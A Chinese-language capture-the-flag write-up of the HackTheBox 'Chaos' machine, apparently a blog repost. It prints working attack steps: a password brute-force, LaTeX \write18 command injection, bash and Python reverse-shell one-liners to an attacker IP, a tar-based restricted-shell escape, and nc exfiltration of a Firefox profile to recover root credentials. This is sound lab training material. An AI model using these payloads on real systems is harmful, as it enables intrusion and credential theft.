HackTheBox-Chaos-CTF_解题过程

简介

GameName:Chaos
难度:中等
IP:10.10.10.120
任务:查找user.txt和root.txt文件

信息搜集

拿到靶机之后,还是老规矩,先Nmap扫描一下开放服务:

1
2
3
nmap -sV -sT 10.10.10.120
-sV:探测端口及版本服务信息
-sT:TCP扫描,因为我想扫描的准确一些

开放了两个Web端口:一个是80另一个是10000,其中还有邮件服务:110995(POP3)、143993(IMAP),我们先从80下手:

访问:http://10.10.10.120/

我们先让他扫描一下目录,由于比较慢,我们先让他扫着:

1
dirb http://10.10.10.120

我们先来到网站上,Web页面上显示:Direct IP not allowed,翻译过来就是:不允许直接用IP。那么说明就是80端口不允许使用IP访问,我们可以把它修改成域名访问:设置hosts文件:

1
10.10.10.120    chaos.htb

接着我们访问 chaos.htb 得到了一个Web页面:

1
http://chaos.htb/

经过初步查看,看上去表面是一个静态网页,我还是先扫扫目录和子域名吧:

1
2
3
4
5
6
7
8
9
10
[21:36:01] 200 -    5KB - /about.html
[21:36:04] 301 -  304B  - /css  ->  http://chaos.htb/css/
[21:36:06] 301 -  304B  - /img  ->  http://chaos.htb/img/
[21:36:06] 200 -    7KB - /index.html
[21:36:07] 301 -  311B  - /javascript  ->  http://chaos.htb/javascript/
[21:36:07] 301 -  303B  - /js  ->  http://chaos.htb/js/
[21:36:10] 403 -  297B  - /server-status
[21:36:10] 403 -  298B  - /server-status/
[21:36:10] 301 -  307B  - /source  ->  http://chaos.htb/source/
[21:36:10] 200 -  938B  - /source/
1
2
wfuzz具体的可以看看这篇文章:https://cuokon.github.io/2019/08/28/wfuzz/
wfuzz -c -z file,2.txt -H 'Host: FUZZ.chaos.htb' -u http://chaos.htb --hc 404

扫描出来以后我们还得设置一下hosts文件:

1
vim /etc/hosts

设置完之后访问他的三个子域发现adminweb无页面:

只有 webmail 有一个登陆的地方:

1
webmail.chaos.htb

尝试了弱口令失败之后我决定先放放,继续信息收集~

看了看,没有什么可以利用的地方,当我一筹莫展的试试,我回到刚刚扫描IP目录的地方,发现了扫描结果和扫描域名的结果截然不同,上面的扫描域名结果没有wp这个目录,而下面扫描IP的结果却有一个wp的目录:

打开来看看是一个目录遍历,里面有一个 wordpress 的目录:

1
http://10.10.10.120/wp/

进入到wordpress目录后呢,发现是一个由wordpress搭建的web网站,其中里面有一篇文章是需要password才能访问的:

1
http://10.10.10.120/wp/wordpress/

Wordpress 爆破密码

当我尝试了简单的弱口令 admin、admin123、password、pass..后无结果,然后我点开他的页面发现了一个HUMAN的作者:

1
http://10.10.10.120/wp/wordpress/index.php/2018/10/28/chaos/

这个时候就需要用到社工了,先按照它的姓名来生成一个字典来为后面的爆破做铺垫:

得到一批字典后,利用 BurpSuite 的 Intruder 模块来进行枚举爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /wp/wordpress/wp-login.php?action=postpass HTTP/1.1
Host: 10.10.10.120
Content-Length: 33
Cache-Control: max-age=0
Origin: http://10.10.10.120
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
X-Forwarded-For: 192.168.1.1
Referer: http://10.10.10.120/wp/wordpress/index.php/2018/10/28/chaos/
Accept-Language: zh-CN,zh;q=0.9
Connection: close

post_password=§123456§&Submit=Enter

在爆破前,需要设置一些更改,因为在 wordpress 里,用相同的 Cookie 输入一次密码,密码错误的话,你就不能再用之前的 Cookie 来进行尝试登录密码,不然就会爆破枚举失败:

那么我们就需要设置 BurpSuite 在爆破时,枚举一个密码字典就重新刷新一次 Cookie 。来到 Options 参数下有一个 Redirections,吧 On-site only 和 Process cookies in redirections 勾选上:

根据长度来判断,密码为 human!其实按照社工的思维,有些人设置密码会和用户名相等或者在用户名后面加几个数字符合,例如:liuwx、liuwx123、liuwx@123、liuwx123456…等等,果然不出我所料,爆破后密码和用户名一样:human

进入到文章页面后,里面有一个邮箱的账号跟密码:

1
2
3
4
Protected: chaos
Creds for webmail :
username – ayush
password – jiujitsu

登录邮箱

因为刚刚我们得到了一个子域:webmail,然后我们利用刚刚得到的账号密码来进行登录:

1
2
3
http://webmail.chaos.htb
user:ayush
pass:jiujitsu

登陆进去之后发现有一枚邮件和两个附件

邮件内容是:

1
2
3
4
5
6
Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.
Thanks,
Ayush

翻译过来就是:

看来我得学学英文了,不然老是用 Google 翻译,论学好英文的重要性!

解密文件

把附件下载到本地其中 enim_msg.txt 打开看是这样的:

一段乱码?我们再来看看 en.py 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

通过在Google上面,我花了大量时间了解了一些关于AESSHA256加密解密的文章,最后在Github上找到了一个解密脚本:

https://github.com/bing0o/Python-Scripts/blob/master/crypto.py

通过解密得到了一串 Base64 的密文:

1
SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK

通过 Base64 解密后,发现是一段文字,其中包含一个 URL

1
cat base64.txt | base64 --decode

1
2
3
4
5
6
7
8
9
10
11
root@liuwx:~/Downloads# cat base64.txt | base64 --decode
Hii Sahay

Please check our new service which create pdf

p.s - As you told me to encrypt important msg, i did :)

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

Thanks,
Ayush

LaTeX编辑器命令执行

访问: http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3 发现是一个创建 PDF 的一个页面:

我提交创建PDF发现没什么用,然后我打开审查元素看了看源码,发现了一段JavaScript代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function senddata() {
	var content = $("#content").val();
	var template = $("#template").val();

	if(content == "") {
		$("#output").text("No input given!");
	}
	$.ajax({
		url: "ajax.php",
		data: {
			'content':content,
			'template':template
		},
		method: 'post'
	}).success(function(data) {
		$("#output").text(data)
	}).fail(function(data) {
		$("#output").text("OOps, something went wrong...\n"+data)
	})
	return false;
}

通过分析JS代码得知:这个页面是使用JavaScriptajax.php文件进行AJAX调用,我先BurpSuite抓个包看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php HTTP/1.1
Host: chaos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 28
Connection: close

content=liuwx&template=test1

这个是它的响应包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
HTTP/1.1 200 OK
Date: Mon, 09 Dec 2019 10:27:03 GMT
Server: Apache/2.4.34 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 3405
Connection: close
Content-Type: text/html; charset=UTF-8


LOG:
This is pdfTeX, Version 3.14159265-2.6-1.40.19 (TeX Live 2019/dev/Debian) (preloaded format=pdflatex)
 \write18 enabled.
entering extended mode
(./5e12799f4d92286db03fa23075cac69e.tex
LaTeX2e <2018-04-01> patch level 5
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrartcl.cls
Document Class: scrartcl 2018/03/30 v3.25 KOMA-Script document class (article)
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrkbase.sty
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrbase.sty
(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty)
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrlfile.sty)))
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/tocbasic.sty)
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrsize11pt.clo)
(/usr/share/texlive/texmf-dist/tex/latex/koma-script/typearea.sty))
(/usr/share/texlive/texmf-dist/tex/latex/base/fontenc.sty
(/usr/share/texlive/texmf-dist/tex/latex/base/t1enc.def))
(/usr/share/texlive/texmf-dist/tex/latex/jknapltx/sans.sty
(/usr/share/texlive/texmf-dist/tex/latex/base/t1cmss.fd))
(/usr/share/texlive/texmf-dist/tex/generic/babel/babel.sty
(/usr/share/texlive/texmf-dist/tex/generic/babel/switch.def)
(/usr/share/texlive/texmf-dist/tex/generic/babel-english/english.ldf
(/usr/share/texlive/texmf-dist/tex/generic/babel/babel.def
(/usr/share/texlive/texmf-dist/tex/generic/babel/txtbabel.def))))
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsmath.sty
For additional information on amsmath, use the `?' option.
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amstext.sty
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsgen.sty))
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsbsy.sty)
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsopn.sty))
(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amsfonts.sty)
(/usr/share/texlive/texmf-dist/tex/latex/amscls/amsthm.sty)
(/usr/share/texlive/texmf-dist/tex/latex/lipsum/lipsum.sty)
(/usr/share/texlive/texmf-dist/tex/latex/sectsty/sectsty.sty)

Class scrartcl Warning: Usage of package `fancyhdr' together
(scrartcl)              with a KOMA-Script class is not recommended.
(scrartcl)              I'd suggest to use 
(scrartcl)              package `scrlayer' or `scrlayer-scrpage', because
(scrartcl)              they support KOMA-Script classes.
(scrartcl)              With `fancyhdr' several features of class `scrartcl'
(scrartcl)              like options `headsepline', `footsepline' or command
(scrartcl)              `\MakeMarkcase' and the commands `\setkomafont' and
(scrartcl)              `\addtokomafont' for the page style elements need
(scrartcl)              explicite user intervention to work.
(scrartcl)              Nevertheless, using requested
(scrartcl)              package `fancyhdr' on input line 34.

(/usr/share/texlive/texmf-dist/tex/latex/fancyhdr/fancyhdr.sty)
No file 5e12799f4d92286db03fa23075cac69e.aux.

LaTeX Font Warning: Font shape `T1/cmss/m/sc' in size <10.95> not available
(Font)              Font shape `T1/cmr/m/sc' tried instead on input line 69.

(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsa.fd)
(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd) [1{/var/lib/texmf/fo
nts/map/pdftex/updmap/pdftex.map}] (./5e12799f4d92286db03fa23075cac69e.aux) )
!pdfTeX error: /usr/bin/pdflatex (file ecss1095): Font ecss1095 at 600 not foun
d
 ==> Fatal error occurred, no output PDF file produced!

通过响应包分析后,我又在Google上找到了一种叫做 LaTeX 编辑器的攻击手段,具体可以看看这篇文章:

1
https://0day.work/hacking-with-latex/

我们通过命令依赖于 write18 命令,来一波命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php HTTP/1.1
Host: chaos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Connection: close

content=liuwx

\immediate\write18{whoami}&template=test1

发现只是一个 www-data 普通权限,那么我们先通过 nc 来反弹一个 shell 回来:

1
bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

额,发现没什么用,那么我们换个思路,利用 Python 来得到shell

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

这个时候得到一枚 shell ,虽然得到了 shell 但是它不是用 /bin/bash ,那么我们就通过 python 来得到 bash 吧:

1
python -c 'import pty; pty.spawn("/bin/bash")'

来到 home 目录下,发现有三个用户:ayushjacksahay

1
2
3
ayush
jack
sahay jiujitsu

ayush?是不是很熟悉?之前在wordpress文章里有一个ayush的账号,密码是jiujitsu,然后我们su 切换一下用户:

1
2
3
4
su ayush

user:ayush
pass:jiujitsu

Linux受限Shell绕过

这个时候就得到了一个 rbash 的 shell,但是我发现它执行不了一些命令,例如 ls :

但是通过 FUZZ 发现可以使用 dir 命令:

但是还是没有什么用,使用不了 cd 命令以及一些常用命令:

通过查看环境变量发现它的环境变量被设置到了 /home/ayush/.app 里:

1
2
3
ayush@chaos:/var/www$ echo $PATH
echo $PATH
/home/ayush/.app

随后我便我在 exploit-db 上找到了一个Linux受限Shell绕过的文章:

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

其中 POC 是:

1
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

然后我们重新设置一下 PATH 的路径:

1
export PATH=/bin:/usr/bin:$PATH

这个时候就可以执行 ls 命令了!接着来到 /home/ayush 目录下,发现一个 user.txt ,然后查看得到一个 falg

获取Firefox的root用户凭证

还差一个 root.txt,通过在 ayush 用户目录下,我发现了一个隐藏目录 mozilla

通过一步步的 cd 切换目录,最终我来到了 bzo7sjt1.default 这个目录,起初我还以为是一个文件,最后才发现这是一个目录!通过 ls 发现里面有一个登陆的 json 文件,logins.json

接着我吧 json 格式化了一下,不然看上去有点打脑壳….

1
https://www.json.cn/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
    "nextId":3,
    "logins":[
        {
            "id":2,
            "hostname":"https://chaos.htb:10000",
            "httpRealm":null,
            "formSubmitURL":"https://chaos.htb:10000",
            "usernameField":"user",
            "passwordField":"pass",
            "encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==",
            "encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb",
            "guid":"{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}",
            "encType":1,
            "timeCreated":1540642202692,
            "timeLastUsed":1540642202692,
            "timePasswordChanged":1540642202692,
            "timesUsed":1
        }
    ],
    "disabledHosts":[

    ],
    "version":2
}

在渗透测试过程中,如果发现目标机器中有浏览器,那么浏览器密码和历史记录是一个突破的地方!如果对方的浏览器是Firefox,那么则需要logins.json文件,还有一个key3.db(这个是低版本的Firefox),当前机器中的是key4.db,说明它的Firefox版本还比较高!那么我们还需要一个高版本的cert9.db(这是高版本,低版本是cert8.db)

为了方便,我直接把 .mozilla 目录压缩打包吧:

1
tar -zcvf fox.tar.gz .mozilla

然后通过 nc 我们把文件传输到 KALI :

1
2
3
4
# 在KALI 上运行,接收到的文件重定向到fox.tar.gz
nc -nlvp 6666 > fox.tar.gz 
 # 在目标主机上运行 nc 传输 fox.tar.gz 文件到 kali
nc -nv 10.10.10.128 6666 < fox.tar.gz 

最后我们在 Github 上找到有一个脚本可以解出firefox的密码:

1
https://github.com/unode/firefox_decrypt

我们先把刚刚的 fox 解压到当前目录下:

1
tar zxvf fox.tar.gz

Copy 成功后,我们就可以运行脚本了:

1
python firefox_decrypt.py ~/.mozilla/firefox/bzo7sjt1.default

1
2
3
4
5
Master Password for profile /root/.mozilla/firefox/bzo7sjt1.default: 

Website:   https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'

这个时候得到了 root 账号和密码:Thiv8wrej~,我们切换一下账号:

1
2
su root
password:Thiv8wrej~

最终来到 /root 目录下,查看 root.txt 得到 flag !

1
2
3
root@chaos:~# cat root.txt
cat root.txt
4eca7e09e3520e020884563cfbabbc70

结尾

这次呢,先是通过信息搜集发现了一个wordpress的页面,页面中有一篇文章是有密码的。

通过社工的手段和BurpSuite得到了文章密码,进入文章页面后发现里面泄露了一个邮箱的账号和密码,之后登陆邮箱发现里面有两个附件,通过解密出来附件中的内容得到一个web页面。而这个Web页面是一个创建PDF的编辑器叫做: LaTeX编辑器,我通过Pdflatex手段我们利用ncpython代码得到了一枚shell

然后通过Linux受限我们绕过了不能执行shell命令的限制,后来又发现ayush用户安装了火狐浏览器(Firefox),最终是通过python脚本解出了Firefox的用户凭证得到了root密码,拿到Flag

交流群:

 微信公众号:

 知识星球:

猜你喜欢

转载自blog.csdn.net/qq_36304918/article/details/124658142